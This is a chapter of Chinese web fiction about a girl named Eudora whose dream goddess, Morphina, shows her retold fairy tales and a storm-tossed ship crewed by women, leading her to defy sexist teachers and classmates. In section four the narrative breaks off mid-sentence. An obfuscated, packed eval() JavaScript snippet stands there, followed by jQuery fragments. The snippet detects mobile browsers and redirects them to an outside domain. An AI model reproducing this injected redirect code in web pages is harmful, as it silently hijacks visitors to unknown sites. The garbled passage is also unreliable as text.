29.梦神的钥匙

作品:《她还在歌唱

    (一)


    在世界的边缘,在梦境与现实的交界处,住着梦神墨菲娜。


    她并非童话里慈眉善目的仙女,也不是古老传说中只会编织美梦的精灵,她是一位身披星辉斗篷、赤脚踏风的引路人。


    午夜时分,当最后一盏油灯熄灭,她的身影会轻盈掠过被月光笼罩着的每个屋顶。难以安眠的孩子曾看见她赤着双足起舞,脚裸上缠绕着会发光的藤蔓,缀满星辉的斗篷在银白的月光间翻飞。


    传说,若你足够清醒,又足够恍惚,便能听见她脚踝上的藤蔓在风中低吟。


    (二)


    木屑纷飞的那一刻,尤多拉听见自己心脏裂开的声音。


    她花了整整四个午休制作的小船模型,此刻正被一只沾着泥渍的靴底碾碎。


    木料发出不堪重负的呻吟,就像过去无数次被掐灭的抗议。


    面对她愤怒的目光,那群男孩发出讥笑,扬言道:“女孩做的船,就像她们的梦想一样脆弱。”


    教室里爆发出一阵哄笑,连阳光都被震得发颤。


    尤多拉蹲在地上捡碎片时,感觉有什么东西在胸腔里燃烧。


    老师踱步进来时,她以为会等来一句公道话,可那只温暖的手只是按在她肩上,像盖上一块柔软的裹尸布。


    “别难过,小姑娘的船本就经不起风浪。”


    这比哄笑更令人窒息——他们甚至不愿承认这是暴行,只当作理所当然的结局。


    尤多拉想起昨天读的《睡美人》,在故事结尾处,同她一起看绘本的朋友们感叹道:“多美的故事啊,公主只要安静等待......”


    她盯着那个烫金的“等待”二字,仿佛看见无数女孩正排着队走进玻璃棺材。


    人群散去后,她又拿起绘本,偷偷在“等待”一词上涂满墨点。


    晚上,尤多拉盯着镜子里的自己,镜中的女孩面容稚嫩,眼中装着对世界的各种不解。


    周围的人们总是试图给她编织一个又一个“美梦”——嫁给王子的梦、相夫教子的梦、安分守己的梦......这些梦像蛛网般缠着她,每挣扎一次就被贴上“叛逆”的标签。


    造梦的人只会一遍又一遍地告诉她:这些梦会成为现实,会给自己带来幸福,只需按照既定的轨道走就能顺遂无忧。


    “如果梦会变成真实,为什么不能梦见我赢?”


    女孩望着镜中的自己,困惑地喃喃道。


    “因为大多数人的梦,”月光在镜面上流淌起来,一个声音突然响起,“都是别人塞给她们的。”


    被这道声音吓了一跳,尤多拉猛地转身,看见坐在窗台上的陌生女人,她身披宽大的斗篷,只露出胸前的银钥匙,月光环绕在她周身,形成银白的光晕。


    被女孩的反应逗乐,窗台上的女人咯咯地笑起来,夜色般浓密的黑发跟着抖动,落在缀满星光的斗篷上,落在她裹着藤蔓的脚尖。


    "你是谁?"尤多拉的尾音带着颤,却不是因为害怕。


    “我叫墨菲娜,是给女孩们送另一种梦的人,”


    女人晃了晃身前的钥匙,突然翻转手腕,钥匙转动时发出齿轮咬合的声响——教室的嘲笑声、老师的安慰语、童话书的翻页声从四面八方涌来,又在手心合拢的刹那归于寂静。


    “墨菲娜......你是梦神吗?”尤多拉不敢置信地看向她。


    迎着女孩惊奇的目光,梦神点了点头,递出手中的钥匙,她的指尖正闪烁着点点星光。


    “你想看真正的梦境吗?不是那种哄孩子的糖果梦,而是真实的、能撕破谎言的梦。”


    尤多拉望向墨菲娜的眼睛——这是一双特别的眼瞳,左眼映着暴风雨中的海浪,右眼却盛着破晓时的曦光。


    她突然明白了什么,胸腔中的心跳顿时如擂鼓般响起。


    “我想看真实的梦,”女孩抓住了那把钥匙,“能撕破谎言的梦!”


    (三)


    钥匙在虚空中转动,齿孔间迸发的星光太过耀眼,尤多拉下意识闭眼,却感觉有冰凉的手指轻轻覆在她的眼皮上。


    “别怕。”墨菲娜的声音贴着耳畔响起。


    再次睁眼时,她已置身于一片荆棘城堡中,空气中飘着铁锈与玫瑰混合的奇异香气,远处传来阵阵纺车的嗡鸣。


    女孩并不觉得陌生,她早在绘本的插图中见过这片景象。


    “这是第一层梦境,你来到的是‘睡美人’的世界。”墨菲娜的斗篷扫过地面,那些被触碰的荆棘突然开出鲜艳的花。


    尤多紧跟着墨菲娜,二人在城堡中缓慢踱步,向建筑的最高处走去。


    “我知道梦境的后续剧情,所以我们现在是在等待王子吗?”


    按照她读过千百遍的故事,此刻会出现一位披荆斩棘的王子,用真爱之吻唤醒沉睡的公主。


    被提问的墨菲娜没有回答,只是温和地笑了笑,抬手指向前方。


    “不如去问问那边的公主。”


    尤多拉看到,不远处沉睡的公主正躺在纺车边,身旁还有一个沾着血的纺锤。


    “可公主不是还在沉......”


    她的话还未说完,便被眼前的景象打断。


    只见原本安睡着的公主睁开双眼,那眼神锐利得根本不似刚睡醒的人,反倒像一个精敏的猎手。


    “谁说我需要王子?”当着她们的面,公主扯掉缀满珠宝的礼服,露出里面的皮甲,“知道吗?那些王子都是来偷国库的,我在装睡等他们自投罗网。”


    环绕着城堡的荆棘同时醒来,它们缠绕成阶梯,在公主脚下铺就一条带刺的路。


    尤多拉被眼前的画面震惊得说不出话。


    “看那边。”墨菲娜的星光指向另一个方向。


    女孩转头,看见不远处坐着一个戴眼镜的智者,正在烧毁写着“公主必须顺从”的礼仪法典。


    “她是谁?”


    “她是我的老师、我的朋友,也是故事中‘害’我沉睡的女巫。”纺车旁的公主伸了个懒腰,接过了话。


    “好神奇,她在我看过的故事中只是个反派。”


    “哈——”公主大笑起来,荆棘随着她的笑声疯长,开出炫目的花朵,“所谓‘反派’,只是不愿顺从的标签罢了。”


    尤多拉恍然大悟,轻声道:“原来童话也能撒谎......”


    墨菲娜的指尖划过尤多拉的眼睑:“现在,看看被篡改的真相——”


    荆棘城堡的墙壁突然透明,显现出无数被囚禁的公主:有的正在撕毁婚约,有的把钢铁锻造成长剑,最年轻的公主正用匕首在墙上刻下“他们称此为诅咒,却不知这是觉醒的印记”。


    身旁的梦神再次对着虚空转动起钥匙,尤多拉看见钥匙齿间卡着细小的纸屑,竟是无数被撕碎的“从此幸福快乐”的结局。


    “你看,故事可以被重写,只要你主动拿起笔。”


    熟悉的星光再次出现,眼前的画面在光芒中缓缓消失,最后的最后,她看见觉醒的公主们站在荆棘丛中向她举剑致意。


    (四)


    “这是第二层梦境。”


    墨菲娜的声音还回荡在耳边,尤多拉就被咸腥的海风灌了满嘴。


    她剧烈地咳嗽着,发现整个世界都在疯狂摇晃——不,是她站在一艘正在惊涛骇浪中挣扎的船上。


    脚下的甲板剧烈颠簸着,尤多拉没站稳,狠狠摔在坚硬的木板上,没等她痛呼出声,一只布满老茧的手揪着她的衣领,将她拽了起来。


    “新来的,”脸上带着刀疤的女船员冲她咆哮,唾沫星子混着雨水喷在她脸上,“掌舵!”


    沉重的船舵被握在手中,她本能地转向墨菲娜求助,发现不远处的梦神正消散成星光,而这些星光将她的双脚固定住。


    “等等,我从来没——”


    她的话被梦神打断。


    “这次没人能帮你,就像现实世界一样。”


    墨菲娜的轮廓变得透明,眼前只余凶猛的海浪,巨浪在此时掀起狰狞的高度,尤多拉看见浪花里扭曲着白天那些嘲笑她的面孔。


    嘲讽声混着雷声,铺天盖地地朝她涌来。


    望着遥远的前路,尤多拉的指节因过度用力而发白,但这一次,愤怒比恐惧来得更猛烈。


    风暴中的女孩想起白天被摔碎的船模,一股怒火涌上心头。


    尤多拉死死抓住轮盘,指甲陷入手心的木纹中,她在风暴中唱起过去偷学的水手号子。


    甲板上瞬间响起此起彼伏的应和。


    风浪中的女孩震惊地看到,整艘船的水手全是女性——老舵手用布满老茧的手打着节拍,年轻的大副把缆绳绑在手中歌唱,就连船舱内都传来厨娘们用餐具敲击的节奏。


    她们的歌声像实体般刺向乌云。


    尤多拉发现,自己的肌肉记得这些从未学过的动作,就像灵魂记得这场蓄谋已久的反抗。


    恍惚间她只能听见女人们的歌声,这些声音极具力量,比风雨中的雷声更响、更透亮。


    风暴被歌声撕开了一道裂口,她看见不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631955|171410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远处的阳光倾泻而下,照亮前方。


    熟悉的星光没有亮起,尤多拉恍然意识到,天亮了。


    梦境消散的瞬间,她听见墨菲娜欣慰的声音——


    “记住,这些梦不是幻想,而是你本可以成为的样子。”


    “明天,当你被嘲笑时,你会想起今晚的风浪。”


    “选择沉默或怒吼,都只在你。”


    一粒种子穿过云层,落在女孩的手心。


    (五)


    晨光透过窗户时,尤多拉猛地睁开眼,看见自己指缝间的几缕银光。


    当她颤抖着摊开手掌,一把小巧的钥匙出现在汗湿的掌心,而她的枕边,一粒种子正安静地躺着。


    女孩冲进厨房,迫不及待地将这一切告诉母亲。


    “有个梦神给了我钥匙,还有种子,我驾驶了大船,公主其实是个战士......”


    母亲没有打断她,只默默地听着自己的经历,望着这把银色的钥匙。


    听完故事后,母亲带自己走进里屋的房间,在尘封的柜子里,她拿出了一个雕花铁盒,颤抖的动作暴露了她此时不平静的内心。


    尤多拉看见,这个铁盒中放着一把与自己一模一样的钥匙,只不过已布满锈痕。


    母亲温柔地注视着钥匙,像是在怀念什么般,缓缓开口。


    “年轻时我也见过墨菲娜......但我害怕了,他们说‘做梦的女孩不切实际’,我就……藏起了钥匙。”


    她以为只要锁上钥匙,就能成为他们口中的“正常人”。


    “我一直觉得,自己主动锁上梦境,也会被梦想放弃......”


    她哽咽着,逐渐坚定的话语似乎在抹平这些年来的彷徨。


    “但刚刚我突然明白了,它没有放弃我,它一直在等我回来。”


    话音刚落,斑驳的锈迹突然簌簌剥落,露出内里银亮的本质,像蜕皮的蛇获得新生。


    那些剥落的锈屑在空中重组,凝成一行闪烁的字——


    “被辜负的梦只是在沉睡,从未死亡。”


    母亲突然哭了起来。


    泪水冲掉她脸上多年的遗憾,就像海水洗去甲板上的层层尘埃。


    尤多拉抱住母亲,将两把钥匙并排放在窗台上 ,新钥匙的光芒像水波般流淌到旧钥匙上,修补着岁月的痕迹。


    不是传承,是迭代的共鸣。


    “不要怕,我们一起反抗。”


    窗台上的光斑在跳动,像永远不熄的星光,为迷途的梦想指引方向。


    (六)


    次日,当老师再次说出那句“女孩做不了冒险者”时,尤多拉突然起身,走向讲台。


    全班都屏住了呼吸,安静得只能听见她急促的脚步声。


    每一步都是海浪的回响。


    迎着老师不解的目光,迎着那些讥诮的眼神,她攥紧了手中的钥匙,仿佛听见胸腔传来的浪花声,听见风暴间的那首战歌。


    “你们错了,我见过自己掌舵的样子,而你们连想象都不敢。”


    她的声音让粉笔灰从黑板槽震落,白色尘埃在空气中漂浮,仿若被击碎的枷锁。


    尤多拉转头,目光落在讲台下,对着那些质疑的眼神开口。


    “不相信的家伙们,敢不敢和我比一比谁先造出一艘远航的船。”


    鸦雀无声的教室中,尤多拉看见,后排几个女生的眼睛逐渐亮了起来。


    尤多拉感到手心钥匙在发烫,不是灼烧的痛,而是掌舵时那种血液沸腾的炽热。


    她想起那位梦神最后的嘱咐。


    梦境能给自己带来力量,但真正的战斗在现实。


    但尤多拉不会害怕,因为手中的钥匙无时无刻不在提醒自己——


    她见过风暴,也驾驭过它。


    (七)


    当晚,尤多拉看见熟悉的星光出现在邻居窗前。


    她猛地推开窗,听见夜风送来的一句低语。


    “这次,换你来当引路人。”


    手心的钥匙再次发热,像一团从沉睡中醒来的火苗,银色的光辉落在窗边,窗台上的种子在银焰间发芽,嫩枝缠绕成一个小小的剑柄形状。


    女孩仰起脸,瞳孔里跳动着与钥匙同频的火光。


    港口的方向传来汽笛声,尤多拉朝那个方向望去,仿佛看见母亲踏过跳板的身影。


    此刻,她已登上那艘去往远方的船。


    星光的尽头,是破云而出的太阳,载着梦想的船只正驶向遥远的海平线。